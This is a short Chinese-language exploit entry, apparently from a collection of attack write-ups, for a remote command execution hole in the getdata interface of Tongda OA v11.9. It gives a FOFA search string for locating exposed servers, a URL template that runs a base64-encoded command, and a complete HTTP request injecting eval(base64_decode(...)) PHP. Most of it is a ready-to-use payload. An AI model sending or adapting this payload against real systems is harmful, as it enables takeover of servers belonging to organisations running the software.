T10-32通达-OA-RCE

漏洞描述：

通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。
通达OA v11.9 getdata接口存在任意命令执行漏洞，攻击者通过漏洞可以执行服务器任意命令控制服务器权限

网站图片：

网络测绘：

fofa语法：

通达OA v11.9

漏洞复现：

```
/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eval(base64_decode(%22{bas64命令}%22)))%3B/*&id=19&module=Carouselimage
```

payload：

```
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eval(base64_decode(%22cGhwaW5mbygpOw==%22)))%3B/*&id=19&module=Carouselimage HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: */*
Referer: http://ip:port/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=omcivrbku8nr1oersk7gp4it17; KEY_RANDOMDATA=2220
Connection: close
```

效果图: